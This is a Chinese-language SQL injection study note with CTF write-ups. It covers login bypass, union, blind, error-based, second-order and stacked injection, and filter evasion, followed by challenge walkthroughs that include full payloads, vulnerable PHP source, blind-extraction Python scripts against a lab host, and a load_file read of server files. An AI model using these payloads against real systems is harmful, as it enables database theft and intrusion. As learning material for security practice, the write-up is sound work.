SQL
SQL
SQL:
开发用户和数据库交互系统时,没有对用户输入的字符出啊进行严格的过滤,转义等操作,导致用于可以通过构造字符串去得到数据库的内容
注入:
万能密码:
-
当用户名和密码都输入
123 or 1=1#
时,按理来说执行语句应该是是select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'
#
后面的内容会被注释掉,所以实际执行语句为select * from users where username='123' or 1=1
因为
or 1=1
恒成立,返回为真,所以能成功 -
用户名和密码都输入
123‘ or '1' ='1
时,实际执行语句select * from users where username='123' or '1'='1' and password='123' or '1'='1
and连接的两个or语句使前后两个判断语句恒为真,所以能成功
判断注入类型
数字型
and 1=1
正常运行and 1=2
页面报错
字符型
and ’1‘=’1
正常运行and ‘1’=‘2
页面报错
故,判断注入类型看的是’
联合注入
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
布尔盲注
1' or ascii(substr((select group_concat(password)from users),1,1))#
时间盲注
admin' and if(ascii(substr((select group_concat(username)from users),1,1))=1,sleep(5),1)#
报错注入
updatexml(1,语句,2)
extractvalue(1,语句)
例子
?id=1'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password)from users)))--+
二次注入
在第一次往数据库里擦混如数据的时候,使用了addslashes或者get_magic_quptes_gpc队输入的字符串进行转义(转义:就是字符失去了他的特殊含义,按照其字面意思进行解释)
addslashes的特点是在过滤参数之后,会在被过滤的东西后面加个 \
, \
不会被插入到数据库中,数据库存储的信息就是你插入的信息
数据存进去之后,在查询数据的时候,你插入的数据会被调用,因为开发者会认为存进来的数据都没问题,所以没进行严格的过滤和转义,导致了二次注入
比如 第一次插入了单引号'
,下一次拼凑时,就形成了二次注入
堆叠注入
可以堆一堆sql语句进行注入,这种语句不受限制
字签一个语句后面加上;
,后面接上一个全新的语句
mysqli_multi-query()函数:执行一个或多个对数据库的查询语句[用 ;
分割]
//查数据库
';show databases;
//查表
';show tables;
//查列
';show columns from "1234567890";
//查数据
';select flag from "1234567890"
过滤
eg:union
大小写绕过
Union
单词混写绕过
uniunionon
空格绕过
/**/
注释符绕过
#是%23
--+是--%2B
内联注释绕过
在mysql内特有的语句放在 /*!*/
中
?id=1' union /*!select*/ 1,2
[极客大挑战 2019]LoveSQL
拼接 'or'1'='1
'or'1'='2 有报错是字符型注入
万能密码
使用万能密码完成注入 查看是否有回显 得到用户名和密码
admin'or'1'='1&password=1
发现有回显 接着注入
查看字段 #用%23
1‘ order by 3#&password=1
3回显正常 4报错 字段数为3
也可以用 1’ union select 1,2,3%23&password=1
使用联合查询 插叙当前库名及版本
1‘ union select 1,database(),version()%23&password=1
数据库 geek
查询表名
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
表名 geekuser,l0ve1ysq1
查询列名 随便查哪个表都是一样的
1' union select 1,2,group_concat(colum_name)from information_scheema.column where table_name='l0ve1ysq1'%23
得到三个字段 id,username,password
1’ union select 1,2,group_concat(concat_ws(0x7e,username,password)) from geek.l0ve1ysq1%23
得到flag
[极客大挑战 2019]BabySQL
使用万能密码 发现有回显
构造 ?username=admin'&password=admin" or"1"="1
先闭合前面的 看报错 查看报错 发现 or
不见了 有过滤
测试发现过滤了 or union select by where from
等 可以利用双写绕过
查询字段个数 为3
?username=admin&password=admin' oorrder bbyy 4%23
查看显示位 ?username=admin&password=admin' uniunionon selselectect 1,2,3%23
发现 2,3 是我们的显示位 利用2,3来查看字段
查库名 ?username=admin&password=admin' uniunionon selselectect 1,2,database()%23
为 geek
查表名 为 b4bsql,geekuser
?username=admin&password=admin' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema=database()%23
列:字段为 id,username,password
?username=admin&password=admin' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='geekuser'%23
报数据
?username=admin&password=admin' uniunionon selselectect 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) frfromom b4bsql%23
得到flag
[极客大挑战 2019]HardSQL
万能密码 无法登录
使用burp抓包
发现 过滤了很多关键字 包括 空格 and = 等
可以使用报错注入
构造paylaod时 不要有空格
?usename=admin%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1
库名为 geek
表:H4rDsq1
?username=admin&password=1%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23
列:id,username,password
数据
字符长度受限 使用left(),right()函数
?username=admin&password=1%27or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23
[GXYCTF2019]BabySQli
union select 可以用于构造数据
使用万能密码登录 name=admin'or'1'='1#&pw=1
查看源码
将注释base32解码 在base64解码
得到sql语句
select * from user where username = '$name'
进行注入
测试语句 order by 1#
没翻译 猜测有过滤
用大小写绕过 并且只有三列字段
如果传入的值不是admin 会报错 当讲admin放在第二位时 不报错 猜测第二列是username
找到源码search.php
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";
// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
当我们使用sql语句时 参数pw会被md5值加密 然后与之前存入的password的md5值相比较 相同会输出flag
原理:首先查询一个不存在的username再联合查询我们自己构建的虚拟数据
那么结果集中仅存在我们的虚拟数据
选择密码为adc md5(abc)为900150983cd24fb0d6963f7d28e17f72
paylaod
name=a' union select 1,'admin','900150983cd24fb0d6963f7d28e17f72'%23&pw=abc
[CISCN2019 华北赛区 Day2 Web1
!
判断注入
SQL注入已检测 应该是有过滤
过滤了相当多东西
采用布尔盲注
if((ascii(substr((select(flag)from(flag)),1,1))>1),1,0)
[SWPU2019]Web1
尝试登陆
admin账户已经被注册过了
随便注册一个账号登陆
用1‘测试
过滤了很多 包括空格 or # --+ and
联合查询 order无法使用 选择group by 测试列数
注释符用 ,’1
数字代替(数字随意) 空格采用 /**/
代替
……
……
……
一直试到了23
发现 只有22列
查看回显位置
第二个字段 可操作
库
表:
有过滤 测试发现 information_schema
被过滤
information_schema.tables
用mysql.innodb_table_stats
代替
table_schema
改为database_name
表名:ads,users
因为没有列名 在仅知道表名的基础上查询数据 构造payload:
select group_concat(b)from (select 1,2,3 as b select * from users)a
[WUSTCTF2020]颜值成绩查询1
尝试用万能密码绕过 发现不行 猜测有过滤
过滤了空格
?stunum=1/**/order/**/by/**/3#
三个字段
测试还有没有过滤,大写绕过union和select
库
表
列
flag
October 2019 Twice SQL Injection 二次注入
注册登录
在info界面,'
会被转义
判断闭合为’
利用注册登录来二次注入
库
a' union select database()#
表
a' union select group_concat(table_name)from information_schema.tables where database()=table_schema#
列
a' union select group_concat(column_name)from information_schema.columns where table_name="flag"#
字段
a' union select flag from flag#
[RootersCTF2019]babyWeb
过滤了 union,sleep ‘ “ or - benchmark
两列字段,一列是uiqueid,猜测另一列是flag
万能密码试一下
万能密码
1 || 1=1 limit 0,1
[极客大挑战 2019]FinalSQL
SQL盲注
试一下万能密码
不行,有过滤
过滤了很多比如 (),updatexml,extractvalue,sleep
等
用不了报错注入
当if
被过滤时,可使用 elt
函数进行盲注
?id=elt(length(database())>1,6)
贴一个脚本
库 得到库名geek
import requests
q = []
# 将数字添加到列表中
for x in range(0, 10):
q.append(x)
# 将小写字母添加和逗号添加到列表
for x in range(ord("a"), ord("z")+1):
q.append(chr(x))
q.append(",")
# print(q)
for i in range(1, 5):
for s in q:
url = "http://2094485d-c144-4a24-b1b7-0d9baa738931.node5.buuoj.cn:81/search.php?id="
url = url + "elt(substr((select(database())),%d,1)='%s',6)" % (i, s)
r = requests.get(url)
if(("ERROR!!!" not in r.text) and (r.status_code == 200)):
print(url)
break
# print(url)
表
flna
import requests
q = []
# 将数字添加到列表中
for x in range(0, 10):
q.append(x)
# 将小写字母添加和逗号添加到列表
for x in range(ord("a"), ord("z")+1):
q.append(chr(x))
q.append(",")
# print(q)
for i in range(17, 21):
for s in q:
url = "http://2094485d-c144-4a24-b1b7-0d9baa738931.node5.buuoj.cn:81/search.php?id="
# elt(substr((select group_concat(table_name) from information_schema.tables where table_schema='geek'),1,1)='e',6)
url = url + "elt(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1)='%s',6)" % (i, s)
r = requests.get(url)
if(("ERROR!!!" not in r.text) and (r.status_code == 200)):
print(url)
break
# print(url)
列word
# elt(substr((select group_concat(table_name) from information_schema.tables where table_schema='geek'),1,1)='e',6)
url = url + "elt(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1)='%s',6)" % (i, s)
字段,这里注意大小写
flag在password里面
import requests
q = []
# 将数字添加到列表中
for x in range(0, 10):
q.append(x)
# 将小写字母添加、逗号、-、{}添加到列表
for x in range(ord("a"), ord("z")+1):
q.append(chr(x))
q.append(",")
q.append("_")
q.append("-")
q.append("{")
q.append("}")
# print(q)
for i in range(1, 230):
for s in q:
url = "http://2094485d-c144-4a24-b1b7-0d9baa738931.node5.buuoj.cn:81/search.php?id="
# elt(substr((select group_concat(table_name) from information_schema.tables where table_schema='geek'),1,1)='e',6)
url = url + "elt(substr((select(group_concat(password))from(F1naI1y)),%d,1)='%s',6)" % (i, s)
r = requests.get(url)
if(("ERROR!!!" not in r.text) and (r.status_code == 200)):
print(s, end="")
break
# print(url)
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
php://伪协议,读取源码
index.php
<?php
ini_set('open_basedir', '/var/www/html/');
// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
chage.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
search.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
delete.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
确定是sql,看到代码发现有过滤
二次注入
user_name和phone被过滤的很严格,只有address能重addslashes函数入手
addslashes函数:在预定义的字符前添加反斜杠的字符串
使用address的旧字段,,所以是二次注入
第一次输入地址,在更新地址时,旧地址会被保留下来,所以当我们在第一次修改地址时输入sql语句,在第二次更新时随意输,第一次输入的sql语句会被触发,形成二次注入
提交payload,库
1',user_name=(select updatexml(1,concat(0x7e,(select database()),0x7e),1))#
表
1',user_name=(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema =database()),0x7e),1))#
列
1',user_name=(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name ='user'),0x7e),1))#
读取了很久 发现读取列没有用
要读取文件flag.txt文件
构造报错注入payload,因为有长度限制分两次注入
字段:
SQL注入中load_file
函数:读取配置文件
1',user_name=(select updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1))#
1',user_name=(select updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1))#
[RCTF2015]EasySQL
登录注册猜测是二次注入
随便注册一个 显示无效的字符串
有过滤
发现username和Email有过滤,过滤了 @,and,ascii,substr,空格,sleep,<,floor,order等
登录发现有个改密码("
闭合)
库名;web_sqli~
表:article,flag,users
列:flag
字段:
...
换张表 ’users‘
'~name,pwd,email,real_flag_1s_her',因为长度限制,列名没有完全显示出来
regexp('^?')
查找
用 regexp('^r')
匹配开头是r的字段
payload
192"&&updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7e),1)#
得到完整的列名
字段(采用查找 f
开头的字符的方法)
payload
185"&&updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1)#
因为有过滤,采用逆向输出
payload
188"&&updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1)#
逆序脚本
str='}a5f189152f32-8b88-38c4-a181-b6'
srt=str[::-1]
print(str)
拼接得到完整的flag
[SUCTF 2019]EasySQL
查询界面
发现 ",&,&&,if,and,or,union sleep,updatexml,extractvalue,order,information_schemawhere,from,regexp
等
还有一部分是以数组的形式返回的
本题用堆叠注入
查看库
1;show databases;#
表
1;show tables;#
查看表的内容
1;select * from Flag;#
输入1有回显,输入0没回显
判断源码里面有||
select $post['query']||flag from Flag
解法一:
看了很多wp没太看懂
*,1
源码
$sql = "select ".$post['query']."||flag from Flag";
查询表里所有内容
说是用1将||中和掉了,使其语句变成了 select *,1 || flag from Flag
不是,1和||有啥关系啊 为啥他俩能中和掉???
解法二:
使用 set sql_mode=PIPES_AS_CONCAT;
的作用是将 ||
的功能从运算符or改为字符串拼接
payload
1;set sql_mode=PIPES_AS_CONCAT;select 1
修改后的 || 就相当于是将 select 1
和 select flag from Flag
的结果拼接在一起